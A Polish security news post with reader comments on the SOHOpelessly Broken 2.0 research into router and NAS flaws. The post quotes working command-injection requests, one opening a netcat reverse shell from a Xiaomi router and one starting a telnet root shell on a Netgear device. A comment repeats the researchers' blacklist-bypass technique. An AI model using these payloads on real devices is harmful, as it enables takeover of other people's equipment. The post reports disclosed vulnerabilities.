-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Znaleźli 150 podatności w domowych routerach i dyskach sieciowych (NAS). Czego tam nie ma… SQL injection, buffer overflow, omijanie uwierzytelnienia, dostęp na root, …

18 września 2019, 10:18 | W biegu | komentarzy 10

Jeśli ktoś chce zobaczyć trochę realnych, świeżych podatności w IoT, zachęcam do lektury wyników badania projektu SOHOpelessly Broken 2.0. Na celownik wzięto 13 urządzeń, w których każde miało minimum jedną podatność webowo-aplikacyjną (co nie dziwi…):

All 13 of the devices we evaluated had at least one web application vulnerability such as cross-site scripting (XSS), operating system command injection (OS CMDi), or SQL injection (SQLi) that could be leveraged by an attacker to get remote access to the device’s shell or gain access to the device’s administrative panel. We obtained root shells on 12 of the devices, allowing complete control over the device including 6 which can be remotely exploited without authentication: the Asustor AS-602T, Buffalo TeraStation TS5600D1206, TerraMaster F2-420, Drobo 5N2, Netgear Nighthawk R9000, and TOTOLINK A3002RU.

W sumie zgłoszono 125 podatności (każda posiada swój numer CVE). Najbardziej może zaskakiwać (a może wręcz przeciwnie?) duża liczba błędów umożliwiających na nieautoryzowany dostęp na OK (root):

luki…

W samym tekście można znaleźć oczywiście sporo konkretnych (i prostych) przykładów, np.:

GET /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=’%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.82+9001+>/tmp/p+%23 HTTP/1.1

POST /soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:AdvancedQoS:1#GetCurrentBandwidthByMAC
X-Forwarded-For: 192.168.1.1
Range: utelnetd -d -p 8383 -l /bin/sh

<?xml version=”1.0″ encoding=”utf-8″ standalone=”no”?>
<SOAP-ENV:Envelope>
<SOAP-ENV:Header>
<SessionID>424F474F4E424F474F4E</SessionID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<M1:GetCurrentBandwidthByMAC>
<NewDeviceMAC>:’;$HTTP_RANGE ##</NewDeviceMAC>
</M1:GetCurrentBandwidthByMAC>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. vivaldi

    Warto dodać, że Synology aktualizuje swoje urządzenia tak długo jak to możliwe, nawet za cenę kilku procent wydajności a konkurencja wygasza wsparcie po 2-4 latach od premiery i zostawia użytkownika z przyciskiem do papieru.

    Odpowiedz
    • Tomasz

      Największy konkurent czyli Qnap robi tak samo. Oznacza to, że masz błędne informacje ;-)

      Odpowiedz
      • Janusz

        QNAP jednak wypada gorzej! Nic dodać – nic ująć!

        Odpowiedz
      • ANTYMARKETER

        brakuje przy waszych komentarzach: materiał sponsorowany :D

        Odpowiedz
  2. JuniorJPDJ

    Cześć, z którego urządzenia jest URL podany jako pierwsza podatność?
    Bo jest to firmware oparty na OpenWRT (LuCI to interfejs graficzny z OWRT) i aż zrobiło mi się przykro, że takie rzeczy tam występują.

    Odpowiedz
    • gosc

      A jeśli było to urządzenie 12 w kolejności testowane i w każdej znaleziono podatność to zrobi jakąś różnicę?
      1. Zobacz ze chodzi o Wi-fi, a nikt ostatnio nie mówił ze jest bezpieczne.
      2. Podane zostało IP lokalne z którego zawsze będziesz miał dostępny panel, a wspomniane urządzenie ma
      „The depth of customization based on OpenWRT”
      wiec nie masz 100% pewności czy w oryginalnym OpenWRT podatności jest mniej (ze względu na jakieś ustawienia), czy więcej.

      Odpowiedz
    • Marcin

      Xiaomi Mi Router 3
      Xiaomi is a popular brand from China that offers the Mi Router 3, a SOHO router. Administrative functionality is implemented in Lua and follows an Model-View-Controller (MVC) like architecture. While assessing this device, we first analyzed how requests are routed then accessed each implemented route for vulnerabilities.

      Following these methods we discovered, in luci/controller/api/misns.lua, that the URL endpoint /cgi-bin/luci/;stok=/api/misns/wifi_access makes use of GET URL parameters that are passed as the arguments to a shell command. In the figure below we illustrate the parameters used when issuing request to this endpoint. In this request, is the user’s session token and is the MAC address to add to wifi_access.

      GET /cgi-bin/luci/;stok=/api/misns/wifi_access?mac=&sns=&grant=1&guest_user_id=guid&timeout=timeout

      The controller for this request has a helper function for ensuring these parameters are either nil, or do not contain a blacklisted set of shell metacharacters characters that could be used to break out of the shell argument context. The following characters are blacklisted by the Mi Router:

      [`;|$&{} ]

      We were able to use newline characters (%0A) instead of semicolons and tabs (%09) instead of spaces to bypass the character blacklist. Using these characters, attackers can inject commands into the sns parameter. A sample GET request is shown in below.

      GET /cgi-bin/luci/;stok=88de3a3ba0e9a64f50124fbf669f088f/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=’%0atouch%09/tmp/ise%0a%23&grant=1&guest_user_id=guid&timeout=timeout HTTP/1.1

      This character bypass shows how attackers could circumvent some of the security controls Xiaomi placed on the device. In addition to the vulnerability discussed above, this same endpoint is vulnerable to a command injection attack that is not restricted by the character blacklist at all. Due to a bug in the web application’s logic, the timeout parameter is never validated against the blacklist. This allows attackers to use any command injection payload, regardless of character set. The GET request below shows an example request that spawns a reverse shell that connects to the attacker’s machine at 192.168.31.82 on port 9001.

      GET /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=’%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.82+9001+>/tmp/p+%23 HTTP/1.1
      Host: 192.168.31.1

      We were able to circumvent Xiaomi’s security controls by first determining which characters were blacklisted, listing other metacharacters accepted by the shell, and finally substituting the blacklisted characters for others that are interpreted equally. As noted above, we also found other endpoints with programming logic errors that allowed us to circumvent the blacklist entirely.

      Odpowiedz
  3. Vendor

    Chyba jeden komentarz merytoryczny. Reszta – dobrze wydana kaska na marketing, agencje, dzialy troli czujnie reagują :)

    Odpowiedz
  4. W wypadku NAS-ów zarówno Synology jak i QNAP owe podatności wykryto na starszych wersjach firmware. Nie wiem jak w wypadku innych urządzeń. Najbardziej zagrożeni są posiadacze routerów, by Ci często oprogramowania nie aktualizują w wypadku NAS-ów już jest inaczej.

    Odpowiedz
  5. Paweł

    Phi, jakies authentication bypass. U mnie w modemie i routerze ZTE (serdecznie nie polecam chyba ze lubicie miec ping 3s do samego rutera) wystarczy zmienic w adresie strony sekcje dokumentu aby pominac logowanie xD

    Odpowiedz

Odpowiedz